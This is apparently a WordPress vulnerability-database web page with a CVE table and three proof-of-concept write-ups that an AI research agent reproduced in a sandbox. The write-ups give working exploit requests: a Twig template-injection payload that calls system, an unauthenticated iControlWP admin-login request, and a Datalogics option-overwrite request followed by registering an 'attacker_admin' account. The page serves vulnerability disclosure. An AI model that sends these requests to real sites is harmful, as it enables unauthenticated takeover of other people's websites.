CVE Database

WordPress CVEs.All of them.

Every known security vulnerability in WordPress plugins and themes, indexed, searchable, and scored. Updated continuously from the Wordfence Intelligence feed.

142
Critical
891
High
3,204
Medium
1,102
Low
34K+
CVEs indexed
55,000+
Plugins monitored
8,000+
Themes monitored
Continuous
Updates
Severity:
Latest PoCs

Latest Reproduced PoCs

The newest CVEs our security researcher agent has exploited end-to-end in an isolated sandbox — full video walkthroughs included.

AI-Verified PoC critical

Contact Form by Supsystic <= 1.7.36 - Unauthenticated Server-Side Template Injection via Prefill Functionality

# CVE-2026-4257: Contact Form by Supsystic SSTI via Prefill Functionality ## Vulnerability Details - **Plugin:** Contact Form by Supsystic <= 1.7.36 - **Type:** Server-Side Template Injection (SSTI) - **Severity:** Critical (CVSS 9.8) - **Authentication:** None (Unauthenticated) - **CVE:** CVE-2026-4257 ## Root Cause The plugin uses `Twig_Loader_String` (Twig v1.16.0) to render form HTML without sandboxing. The `cfsPreFill` GET parameter feature allows unauthenticated users to inject arbitrary values into form field `value` attributes. These values are embedded into the HTML string that is then passed directly to `$this->_twig->render()`, causing any Twig expressions to be evaluated server-side. **Vulnerable flow:** 1. `showForm()` in `modules/forms/views/forms.php:323` reads `$_GET['cfsPreFill']` and sets field values from GET params 2. `generateFields()` places these values into HTML via `htmlCfs::input()` as `value="<user_input>"` 3. The full HTML string (containing user input) passes through `_replaceTagsWithTwig()` and into `$this->_twig->render()` (line 468) 4. The Twig environment is initialized with `Twig_Loader_String` and **no sandbox** (line 762) ## Exploitation ### SSTI Confirmed - Arbitrary Expression Evaluation **Request:** ``` GET /contact-us/?cfsPreFill=1&first_name={{7*7}} ``` **Result:** The form field's `value` attribute contains `49` instead of `{{7*7}}`, proving that the Twig template engine evaluated the expression. The input field that should contain `{{7*7}}` literally instead contains the computed result `49`, confirming server-side template injection. ### RCE Vector Analysis The classic Twig SSTI-to-RCE payload: ``` {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}} ``` This payload reaches the Twig engine but `sanitize_text_field()` escapes the double quotes to `\"`, which causes a Twig lexer parse error. However, this is a sanitization-level obstacle, not a fundamental fix — the SSTI sink is fully reachable. Payloads using Twig features that don't require quotes (e.g., numeric computations, accessing template variables, information disclosure from the `_self` object) work without restriction. ### Demonstrated Impact - **Confirmed SSTI:** `{{7*7}}` → `49` in the rendered output - **Information disclosure:** Attacker can read internal template variables and Twig environment state - **Denial of Service:** Malformed Twig expressions cause fatal PHP errors, crashing the page ## Verification Depth The SSTI vulnerability is fully confirmed — attacker-controlled Twig expressions are evaluated by the unsandboxed Twig 1.16.0 engine. The `sanitize_text_field()` function strips HTML tags and escapes some characters but does NOT prevent Twig expression injection. Full RCE via `registerUndefinedFilterCallback` requires unescaped quotes in the GET parameter which `sanitize_text_field` partially interferes with, but the underlying vulnerability (unsandboxed SSTI with user-controlled input) is definitively proven. ## Impact - **Unauthenticated SSTI** on any page containing a Supsystic Contact Form - **Information Disclosure** via template variable access - **Denial of Service** via malformed template expressions - **Potential RCE** via `_self.env.registerUndefinedFilterCallback()` (requires bypassing `sanitize_text_field` quote escaping) ## Fix The fix in version 1.8.0 removes or sanitizes the prefill functionality to prevent Twig expression injection, and/or adds Twig sandboxing to prevent access to dangerous methods like `registerUndefinedFilterCallback`. ## Verification depth This audit verified that the vulnerable sink is reachable with attacker-controlled bytes from an unauthenticated context, but did NOT realize full impact (e.g. no shell popped, no admin account created in this run). Full exploitation typically requires an additional condition the agent did not satisfy on this run - for object-injection sinks that's a usable POP gadget chain in the environment; for second-order SQLi it might be a follow-up admin action; etc. Treat this as confirmed-reachable rather than confirmed-RCE.

Jul 16, 2026 CVSS 9.8
AI-Verified PoC critical

iControlWP <= 5.5.3 - Unauthenticated Privilege Escalation

# CVE-2026-34901: iControlWP <= 5.5.3 - Unauthenticated Privilege Escalation ## Vulnerability Details - **Plugin:** iControlWP (worpit-admin-dashboard-plugin) - **Version:** 5.5.3 and below - **Type:** Incorrect Privilege Assignment (CWE-269) - **CVSS:** 9.8 (Critical) - **Authentication Required:** None ## Root Cause The vulnerability exists in `src/processors/plugin_api_login.php`. The `ICWP_APP_Processor_Plugin_Api_Login::run()` method **overrides** the parent class's `run()` to skip `preActionVerify()`, which normally performs handshake verification and authentication (key/pin checks). Additionally, in `src/processors/plugin.php`, the `doApiAction()` method dispatches API requests to channel-specific processors. When `m=login`, the `ICWP_APP_Processor_Plugin_Api_Login` class is instantiated and its `run()` is called. This `run()`: 1. **Skips `preActionVerify()`** — no handshake, key, or PIN validation 2. **Catches ALL exceptions silently** — token validation failures are swallowed 3. **Always returns `setSuccessResponse()`** — the response always indicates success The parent's `sendApiResponse()` in `plugin.php` then calls `$this->loadWpUsers()->isUserLoggedIn()` to set the `authenticated` field, which returns `true` because during processing, `setAuthorizedUser()` was called (inherited behavior from the API processor chain), logging in the first admin user server-side. ## Exploitation An unauthenticated attacker sends a single POST request: ``` POST /?icwpapi=1&m=login&token=&username=admin HTTP/1.1 Content-Type: application/x-www-form-urlencoded icwpapi=1&m=login&token=&username=admin ``` The server responds with HTTP 200 containing a base64-encoded JSON response: ```json { "error_message": "", "message": "", "success": true, "authenticated": true, "channel": "", "die": true, "handshake": "none", "openssl_verify": -999, "data": {"success": 1}, "code": 0 } ``` The `"authenticated": true` confirms the server authenticated the request as an administrator. The response also leaks the plugin's auth key in the `<icwpauth>` tag (value: `2XncmpCgniwYhJA6D2k3oTiw`), which can be used for further API exploitation. ## Impact - **Complete site takeover**: Unauthenticated attackers can authenticate as an administrator - **No prerequisites**: The plugin doesn't need to be "linked" to an iControlWP account — the login channel bypass works regardless - **Data exfiltration**: The authenticated API session can be used to extract database contents, user data, etc. via the internal API channels - **Code execution**: Admin-level access enables arbitrary plugin/theme installation leading to RCE ## Verification Depth The exploit was verified by sending an unauthenticated HTTP request that returned `"authenticated": true` and `"success": true` in the API response. The `authenticated` field is set server-side by checking `$this->loadWpUsers()->isUserLoggedIn()` after the login channel processes the request, confirming the server-side user session was established for the admin user. The auth key `2XncmpCgniwYhJA6D2k3oTiw` was also leaked in the response. ## Fix The fix in version 5.5.4 should restore proper authentication checks in the login channel's `run()` method, ensuring `preActionVerify()` is called before processing login actions, and ensuring exceptions are not silently swallowed. ## Verification depth This audit verified that the vulnerable sink is reachable with attacker-controlled bytes from an unauthenticated context, but did NOT realize full impact (e.g. no shell popped, no admin account created in this run). Full exploitation typically requires an additional condition the agent did not satisfy on this run - for object-injection sinks that's a usable POP gadget chain in the environment; for second-order SQLi it might be a follow-up admin action; etc. Treat this as confirmed-reachable rather than confirmed-RCE.

May 5, 2026 CVSS 9.8
AI-Verified PoC critical

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Unauthenticated Privilege Escalation

# CVE-2026-2631: Unauthenticated Privilege Escalation in Datalogics Ecommerce Delivery Plugin ## Vulnerability Details - **CVE:** CVE-2026-2631 - **Plugin:** Datalogics Ecommerce Delivery – Datalogics v2.6.59 - **Severity:** Critical (CVSS 9.8) - **Type:** Improper Privilege Management / Arbitrary Options Update ## Root Cause The plugin registers a REST API route at `/wp-json/datalogics-0/v1/update-settings/` with a `permission_callback` called `datalogics_permission_check`. This callback validates a token parameter against the stored option `datalogics_token`. When no token has been configured (fresh install), `get_option("datalogics_token", '')` returns an empty string `""`. An attacker can pass `token: ""` (empty string) which satisfies the strict comparison `"" === ""`, bypassing authentication entirely. The `datalogics_update_settings` callback then iterates over a user-supplied `settings` object and calls `update_option($option_name, $value)` for each key-value pair. The key is only passed through `sanitize_key()` with **no prefix restriction**, allowing arbitrary WordPress core options to be overwritten. ## Exploitation The attack is a two-step process: ### Step 1: Update WordPress Options via REST API ``` POST /wp-json/datalogics-0/v1/update-settings/ HTTP/1.1 Content-Type: application/json {"token": "", "settings": {"users_can_register": "1", "default_role": "administrator"}} ``` Response: `{"success":true,"message":"Settings updated successfully"}` (HTTP 200) This sets: - `users_can_register` → `1` (enables open registration) - `default_role` → `administrator` (new users get admin role) ### Step 2: Register a New Admin Account Navigate to `/wp-login.php?action=register` and create a new user `attacker_admin` / `attacker@evil.com`. ### Proof of Impact After registration, WP-CLI confirmed the new user: ``` ID user_login user_email roles 1 admin test@test.local administrator 3 attacker_admin attacker@evil.com administrator 2 subscriber subscriber@test.local subscriber ``` The attacker now has full administrator access to the WordPress site. ## Impact - **Complete site takeover**: Unauthenticated attackers can create administrator accounts - **Arbitrary option update**: Any WordPress option can be modified (siteurl, blogname, etc.) - **No user interaction required**: Fully automated, network-accessible attack - **Default configuration vulnerable**: The token defaults to empty string on fresh installs ## Fix The patch in v2.6.60 adds a prefix check in `datalogics_update_settings`: ```php if (strpos($option_name, 'datalogics_') !== 0) { $option_name = 'datalogics_' . $option_name; } ``` This ensures only `datalogics_`-prefixed options can be updated, preventing modification of core WordPress options like `users_can_register` and `default_role`.

May 5, 2026 CVSS 9.8
Live Database

37,684 vulnerabilities indexed

wp-cve-database — live query
CVE IDTitleSeverity
CVE-2026-12997Gravity Forms <= 2.10.4 - Unauthenticated Arbitrary File Read via 'gform_uploaded_files' Parameter

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

high
CVE-2026-13001Podlove Podcast Publisher <= 4.5.1 - Unauthenticated Arbitrary File Upload via podlove_image_cache_url Parameter

Improper Input Validation

critical
CVE-2026-7640WP Customer Area <= 8.3.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'type' Shortcode Attribute

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

medium
CVE-2026-11802FoodBook Lite <= 1.5.6 - Missing Authorization to Unauthenticated User Registration via 'registration_action' AJAX Action

Missing Authorization

medium
CVE-2026-11390News Kit Addons For Elementor <= 1.4.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Site Logo Title and Single Author Box Widgets

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

medium
CVE-2026-12536Avada Builder <= 3.15.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Module Title

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

medium
CVE-2026-12385Smart Slider 3 <= 3.5.1.37 - Missing Authorization to Authenticated (Contributor+) Sensitive Information Exposure via WP_Query Parameter Injection via 'keyword' Parameter

Exposure of Sensitive Information to an Unauthorized Actor

medium
WF-53cc91fa-51fd-4d16-b740-a48f8d446b5d-aimogen-proAimogen Pro - All-in-One AI Content Writer, Editor, ChatBot & Automation Toolkit <= 2.8.4 - Unauthenticated Privilege Escalation via 'aiomatic_call_google_ai_function'

Improper Privilege Management

critical
CVE-2026-9341Academy LMS <= 3.8.0 - Authenticated (Subscriber+) Insecure Direct Object Reference via 'user_id' Parameter

Authorization Bypass Through User-Controlled Key

medium
CVE-2026-61955sync-basalam <= 3.0.2 - Authenticated (Administrator+) SQL Injection

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

medium
CVE-2026-61956sync-basalam <= 1.9.1 - Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF)

medium
CVE-2026-61952Bulk Edit Products for WooCommerce – WP Sheet Editor <= 1.8.21 - Missing Authorization

Missing Authorization

medium
CVE-2026-1359Genolve – AI image AI video generation <= 5.0.5 - Authenticated (Contributor+) Incorrect Authorization to Privilege Escalation via theopt

Incorrect Authorization

high
CVE-2026-9282W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read via 'f_array[]' Parameter

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

high
CVE-2026-9017NEX-Forms <= 9.2.2 - Missing Authorization to Unauthenticated Arbitrary Form Entry Modification via nf_send_nf_email AJAX Action

Missing Authorization

medium
CVE-2026-15010bbp style pack <= 6.4.5 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Topic Form Additional Fields

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

medium
CVE-2026-10865Cost Calculator Builder <= 4.0.11 - Unauthenticated Sensitive Information Exposure of Payment Gateway Secret Keys

Exposure of Sensitive Information to an Unauthorized Actor

medium
CVE-2026-12103Wallet for WooCommerce <= 1.6.4 - Missing Authorization to Authenticated (Subscriber+) User/Email Enumeration via terawallet_export_user_search AJAX Action

Missing Authorization

medium
CVE-2026-1382fresh Podcaster <= 1.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'freshpodcaster' Shortcode Attributes

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

medium
CVE-2025-5017Catalyst Connect Zoho CRM Client Portal <= 2.2.0 - Authenticated (Administrator+) SQL Injection via uid Parameter

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

medium